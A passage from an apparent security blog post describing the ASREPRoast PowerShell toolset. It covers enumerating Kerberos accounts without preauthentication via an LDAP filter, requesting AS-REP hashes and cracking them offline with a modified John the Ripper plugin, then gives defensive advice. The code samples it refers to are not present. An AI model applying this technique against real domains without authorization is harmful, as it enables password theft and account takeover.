A second function in ASREPRoastGet-ASREPHash, wraps New-ASReq to generate the appropriate AS-REQ for a specific user/domain, enumerates a domain controller for the passed domain, sends the crafted AS-REQ, and receives the response bytes. Bouncy Castle is used to decode the response, checking whether it is a KRB-ERROR response or a proper AS-REP. If the request succeeded, we can extract out the enc-part section that’s RC4-HMAC encrypted using the specified user’s hash and return it in a nice format:

The final useful function in ASREPRoast is Invoke-ASREPRoast. If run from a domain authenticated, but otherwise unprivileged, user context in a Windows Kerberos environment, this function will first enumerate all users who have “Do not require Kerberos preauthentication” set in their user account control settings by using the LDAP filter (userAccountControl:1.2.840.113556.1.4.803:=4194304). For each user returned Get-ASREPHash is used to return a crackable hash:

Cracking The Hashes

We now have a nice set hash representations of RC4-HMAC AS-REPs, each of which are encrypted with a user’s password. We should now be able to crack these offline à la Kerberosting (krb5tgsformat in John the Ripper), but remember that despite using the same algorithm and approach as the existing TGS-REP format, the message type here is 8 instead of 2.

This unfortunately means that existing plugins won’t work, but luckily for us, all we have to do is change this line to an 8 instead of a 2, remove some of the specific TGS ASN.1 speedups, and change the format naming. I have a included a tweaked version of this krb5_asrep_fmt_plug.c plugin with the ASREPRoast project. Simply drop it into the source folder for Magnumripper, run the normal build instructions, and you’d good to go for cracking the output of ASREPRoast.ps1:

I believe that it should be simple to modify Hashcat’s existing TGS-REP format as well in a similar way, but I haven’t attempted it yet. Also, because this is the same algorithm as the krb5tgs/Kerberoasting format, just with a tweak in key material, performance should be similar to the existing modules.

Closing Thoughts

As I mentioned at the beginning, this obviously isn’t as useful as the Kerberoasting attack, as accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable, and you’re still reliant upon weak password complexity for the attack to work. However, this setting is sometimes present in some environments, often on aging accounts for backwards compatibility reasons, and we feel that the toolset will be operationally useful in some situations at least.

Defensively, the same protections outlined for Kerberoasting apply here, specifically have really long passwords for these types of accounts and alert when abnormal hosts are sent an AS-REP for the account. Also, audit what accounts have this setting, which is easy with PowerView (Get-DomainUser -PreauthNotRequired) or other LDAP toolsets with the (userAccountControl:1.2.840.113556.1.4.803:=4194304) filter. Carefully consider whether accounts with this setting truly are needed.

[Edit] also for the defensive side, @munmap suggested investigating Kerberos FAST pre-authentication and/or Public Key Cryptography for Initial Authentication in Kerberos (PKINIT).